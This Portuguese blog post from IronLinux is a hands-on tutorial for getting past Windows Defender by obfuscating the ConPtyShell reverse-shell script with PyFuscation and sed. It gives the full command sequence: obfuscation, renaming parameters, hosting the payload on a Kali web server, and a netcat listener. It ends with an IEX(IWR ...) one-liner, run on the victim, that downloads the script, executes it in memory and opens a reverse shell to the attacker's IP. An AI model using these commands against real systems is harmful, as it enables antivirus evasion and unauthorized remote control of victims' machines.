Bypass do Defender utilizando substituição de strings
- Gustavo Viana
- Segurança da informação , Segurança ofensiva
- 20 de abril de 2022
Substituição de strings é uma das técnicas utilizadas para realizar bypass de antivírus. Neste post será demonstrado como utilizar esta técnica com o apoio do projeto PyFuscation
O que é a técnica de substituição de strings?
Substituição de strings é uma técnica que modifica um script, renomeando funções, parâmetros, outputs e variáveis, etc. Para exemplificar, imagine que um script tenha a função maliciosa(). Um exemplo da técnica seria renomear a função para** legítima().**
O PyFuscation realiza esta operação de forma automatizada, alterando o nome de funções, parâmetros e variáveis além de remover os comentários de scripts Powershell. Porém, ações manuais são necessárias para obter um resultado ainda melhor.
Mão na massa!
Antes de tudo, faça o clone dos repositórios dos projetos Pyfuscation e ConPtyShell:
git clone https://github.com/antonioCoco/ConPtyShell; git clone https://github.com/CBHue/PyFuscation
1 | Ofusque o Invoke-ConPtyShell.ps1 com PyFuscation
Utilize o PyFuscation.py com os parâmetros -f (ofuscar funções), -v (ofuscar variáveis) e -p (ofuscar parâmetros) para ofuscar o Invoke-ConPtyShell.ps1:
python3 PyFuscation/PyFuscation.py -f -v -p --ps ConPtyShell/Invoke-ConPtyShell.ps1
2 | Realizando outras ofuscações manuais
O PyFuscation é um excelente projeto. No entanto, para que o ConPtyShell funcione adequadamente e de fato realize o bypass do Defender, são necessárias outras ações.
Para começar, vamos alterar o nome do script powershell para ofuscado.ps1 (verifique o nome do seu output corretamente):
cd ConPtyShell/04172022_01_40_27; mv 04172022_01_40_27.ps1 ofuscado.ps1
2.1 | Substituir strings do ConPtyShell com Sed
Para evitar que o Defender identifique o ConPtyShell (que é uma ferramenta de reverse shell muito conhecida pelos antivírus), vamos trocar as strings “ConptyShell” por “IronPty” utilizando sed:
sed -i 's/ConPtyShell/IronPty/g' ofuscado.ps1
2.2 | Corrigindo alguns problemas de sintaxe
O ConPtyShell faz algumas checagens dos parâmetros RemotePort e RemoteIp, fazendo com que o script deixe de funcionar após utilizar o PyFuscation.
Para corrigir o problema, basta coletar o nome do parâmetro ofuscado de cada um deles (RemotePort e RemoteIp) e alterá-lo em seu script ofuscado, conforme abaixo:
for x in $(egrep -sr 'RemotePort' 04172022_01_40_27.parameters | awk -F'-' '{print $NF}');do sed -i "s/RemotePort/$x/g" ofuscado.ps1;done
for x in $(egrep -sr 'RemoteIp' 04172022_01_40_27.parameters | awk -F'-' '{print $NF}');do sed -i "s/RemoteIp/$x/g" ofuscado.ps1;done
3 | Testando o ConPtyShell ofuscado
Agora que nosso Powershell Script está ofuscado, vamos utilizá-lo numa máquina Windows 10 com Defender habilitado e atualizado (Abril/2022).
3.1 | Abrindo listener no Kali
Vamos preparar nosso webserver para receber a request http do IWR (Invoke Web Request) que a vítima realizará:
python3 -m http.server 80
Agora, vamos iniciar o netcat listener na porta 3001 para receber o shell interativo:
stty raw -echo; (stty size; cat) | nc -lvnp 3001
3.2 | Executando o comando malicioso na vítima
O comando powershell abaixo deverá ser executado na vítima, carregando o arquivo powershell em memória e executando a função Invoke-ConPtyShell (que neste caso foi alterada para toughness pelo PyFuscation):
IEX(IWR http://192.168.0.142/ofuscado.ps1 -UseBasicParsing);toughness 192.168.0.142 3001
3.3 | Resultado
Nossa shell reversa foi obtida com sucesso:
Por fim, agradecemos a leitura e esperamos que este post tenha te ajudado de alguma maneira! Caso tenha alguma dúvida, entre em contato conosco pelo Telegram , Facebook ou Instagram ! Veja mais posts no IronLinux !